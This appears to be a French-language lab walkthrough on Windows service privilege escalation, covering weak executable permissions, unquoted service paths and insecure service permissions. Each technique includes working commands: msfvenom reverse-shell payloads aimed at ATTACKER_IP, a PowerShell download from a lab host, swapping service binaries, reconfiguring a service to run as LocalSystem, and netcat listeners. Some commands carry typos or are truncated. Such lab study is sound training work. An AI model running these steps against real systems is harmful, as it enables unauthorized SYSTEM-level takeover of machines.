🎨Services
Trois principales vecteurs d'exploitation des services Windows sont souvent explorées :
Autorisations de Service Non Sécurisées : Certains services accordent des autorisations excessives à des groupes d'utilisateurs spécifiques, tels que le groupe
BUILTIN\\Users
. L'exploitation de ces autorisations permet à un attaquant de reconfigurer un service pour exécuter un code malveillant avec des privilèges élevés.Chemins de Service Non Cités : Lorsque le chemin de l'exécutable associé à un service n'est pas correctement cité pour tenir compte des espaces dans la commande, cela peut conduire à une interprétation ambiguë par le Gestionnaire de contrôle des services (SCM). L'attaquant peut exploiter cela en créant un exécutable malveillant avant celui attendu par le service, forçant ainsi l'exécution d'un code arbitraire.
Permissions Non Sécurisées sur l'Exécutable du Service : Si l'exécutable associé à un service dispose de faibles autorisations, un attaquant peut le remplacer ou le modifier, entraînant l'exécution de code malveillant avec les privilèges du compte utilisateur configuré pour le service.
🔒 Insecure Permissions on Service Executable
Introduction
Les services Windows, gérés par le Gestionnaire de contrôle des services (SCM), sont essentiels au fonctionnement du système. Ce tutoriel explore comment les services sont configurés, comment vérifier les autorisations sur les exécutables associés, et comment exploiter une vulnérabilité potentielle pour obtenir des privilèges élevés.
📁 Configuration des Services
1. Vérification de la Configuration d'un Service
Utilisons la commande sc qc
pour inspecter la configuration du service apphostsvc
.
sc qc apphostsvc
La sortie nous donne des informations telles que le type de démarrage, le chemin de l'exécutable, et le compte utilisateur associé.
2. Exploration du Registre
Les configurations des services sont stockées dans le registre. Explorez la clé de registre associée aux services sous HKLM\\SYSTEM\\CurrentControlSet\\Services\\
.
📡 Autorisations non sécurisées sur l'exécutable du service
3. Analyse des Autorisations
Utilisez la commande icacls
pour vérifier les autorisations sur l'exécutable du service. Dans notre exemple, regardons le service WindowsScheduler
.
icacls C:\\PROGRA~2\\SYSTEM~1\\WService.exe
Les autorisations accordées à "Tout le monde" sur l'exécutable peuvent être une vulnérabilité.
Everyone:(I)(M)
4. Exploitation de la Vulnérabilité
Générez une charge utile de service exe avec msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
Servez la charge utile avec un serveur Web Python.
python3 -m http.server
Téléchargez la charge utile sur la machine cible.
powershell "(New-Object System.Net.WebClient).Downloadfile('<http://10.10.43.92:8000/rev-svc.exe','rev-svc.exe>')"
Remplacez l'exécutable du service avec votre charge utile et accordez toutes les autorisations à "Tout le monde".
cd C:\\PROGRA~2\\SYSTEM~1\\
move WService.exe WService.exe.bkp
move C:\\Users\\thm-unpriv\\rev-svc.exe WService.exe
icacls WService.exe /grant Everyone:F
5. Obtention d'un Shell Inversé
Démarrez un écouteur inversé sur votre machine attaquante.
nc -lvp 4445
Redémarrez le service sur la machine cible pour déclencher l'exécution de votre charge utile.
sc stop windowsscheduler
sc start windowsscheduler
Vous recevrez un shell inversé avec les privilèges du compte utilisateur associé au service (svcusr1
dans notre exemple).
💻 Chemins de Service Non Cités
Introduction
Dans certaines situations, lorsqu'on ne peut pas écrire directement dans les exécutables du service, il est possible de forcer un service Windows à exécuter des exécutables arbitraires en exploitant une caractéristique particulière des chemins de service non cités. Ce tutoriel explore cette méthode en détail.
📋 Comprendre les Chemins de Service Non Cités
Service Control Manager (SCM) : Sur les systèmes Windows, les services sont gérés par le Service Control Manager (SCM). Le SCM est responsable de la gestion de l'état des services, de la vérification de leur état actuel et de la fourniture d'un moyen de configurer les services.
Lorsqu'un service est configuré avec un chemin d'exécutable "non cité", cela signifie que le chemin n'est pas correctement encadré de guillemets pour gérer les espaces dans la commande. Ceci peut conduire à une interprétation ambiguë de la commande, ce qui peut être exploité.
Exploitation : Un attaquant peut exploiter cette vulnérabilité en créant un fichier exécutable avec le même nom qu'un des composants du chemin de service recherché. Si l'attaquant place son exécutable dans un répertoire accessible en écriture, le SCM pourrait exécuter l'exécutable malveillant à la place de celui attendu par le service.
Exemple de Service avec Citation Appropriée
sc qc "vncserver"
La sortie montre un chemin correctement cité.
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: vncserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
**BINARY_PATH_NAME : "C:\\Program Files\\RealVNC\\VNC Server\\vncserver.exe"**
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VNC Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Exemple de Service sans Citation Appropriée
sc qc "disk sorter enterprise"
La sortie montre un chemin non cité.
plaintextCopy code
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
**BINARY_PATH_NAME : C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe**
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\\svcusr2
Lorsque le SCM (Service Control Manager) tente d'exécuter le binaire associé, il peut y avoir des ambiguïtés en raison des espaces dans le chemin.
🔄 Exploitation de Chemins de Service Non Cités
1. Analyse des Possibilités
L'analyse de la commande non citée peut conduire à différentes interprétations, et le SCM recherche les exécutables dans un ordre spécifique.
2. Exemple d'Interprétations Possibles
C:\\MesProgrammes\\Disk.exe Trieur Enterprise\\bin\\disksrs.exe
C:\\MesProgrammes\\Disk Sorter.exe Entreprise\\bin\\disksrs.exe
C:\\MesProgrammes\\Disk Sorter Enterprise\\bin\\disksrs.exe
Le SCM tente d'exécuter chaque option dans l'ordre jusqu'à ce qu'il trouve un exécutable existant.
3. Vulnérabilité Potentielle
Si un attaquant crée l'un des exécutables recherchés avant l'exécutable attendu du service, il peut forcer le service à exécuter un exécutable arbitraire.
4. Exploitation de la Vulnérabilité
Création de la Charge Utile
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe
Servez la Charge Utile
python3 -m http.server
Téléchargez la Charge Utile sur la Cible
powershell "(New-Object System.Net.WebClient).Downloadfile('[<http://10.10.43.92:8000/rev-svc2.exe','rev-svc2.exe>](<http://10.10.43.92:8000/rev-svc.exe','rev-svc.exe>)')"
Déplacement de la Charge Utile sur un Emplacement Vulnérable
move C:\\Users\\thm-unpriv\\rev-svc2.exe C:\\MyPrograms\\Disk.exe
Accorder des Autorisations à "Tout le Monde"
icacls C:\\MyPrograms\\Disk.exe /grant Everyone:
Redémarrage du Service pour Exécutionsc stop "disk sorter enterprise" sc start "disk sorter enterprise"
sc stop "disk sorter enterprise" sc start "disk sorter enterprise"
En conséquence, vous obtiendrez un shell inversé avec les privilèges du compte associé au service (dans l'exemple, svcusr2
).
nc -lvp 4446
📚 Conclusion
L'exploitation des chemins de service non cités peut être une méthode efficace pour forcer l'exécution d'exécutables arbitraires par un service Windows. Il est essentiel de comprendre cette vulnérabilité potentielle et de prendre des mesures pour sécuriser les services en limitant l'accès aux emplacements vulnérables.
🌐 Exploitation des Autorisations de Service Non Sécurisées
Introduction
Ce tutoriel explique comment exploiter les autorisations de service non sécurisées pour obtenir des privilèges élevés sur un système Windows. L'objectif est de reconfigurer un service en modifiant son exécutable et le compte associé pour exécuter un shell inversé avec les privilèges SYSTEM.
1️⃣ Vérification des Autorisations de Service
Utilisez l'outil AccessChk
de la suite Sysinternals pour vérifier les autorisations de service à partir de la ligne de commande. Assurez-vous que cet outil est disponible à l'emplacement C:\\tools
.
C:\\tools\\AccessChk> accesschk64.exe -qlc service
Vous devriez obtenir une sortie montrant les autorisations accordées au service. Vérifiez spécifiquement si le groupe BUILTIN\\Users
dispose de l'autorisation SERVICE_ALL_ACCESS
.
2️⃣ Création du Shell Inversé
Générez un nouvel exécutable de shell inversé à l'aide de msfvenom
et démarrez un écouteur sur votre machine attaquante.
umsfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe
3️⃣ Transfert de l'Exécutable sur la Machine Cible
Transférez le nouvel exécutable de shell inversé sur la machine cible, par exemple, dans C:\\Users\\thm-unpriv\\rev-svc3.exe
. Utilisez icacls
pour accorder à tout le monde les autorisations nécessaires pour exécuter le fichier.
icacls C:\\Users\\thm-unpriv\\rev-svc3.exe /grant Everyone:F
4️⃣ Reconfiguration du Service
Utilisez la commande sc
pour reconfigurer le service en modifiant le chemin de l'exécutable et le compte associé. Choisissez le compte LocalSystem
pour obtenir des privilèges élevés.
sc config Service binPath= "C:\\Users\\thm-unpriv\\rev-svc3.exe" obj= LocalSystem
5️⃣ Redémarrage du Service
Redémarrez le service pour appliquer les modifications.
sc stop THMService
sc start THMService
6️⃣ Réception du Shell Inversé
Vous devriez maintenant recevoir un shell inversé sur votre machine attaquante avec les privilèges SYSTEM.
nc -lvp 4447
Last updated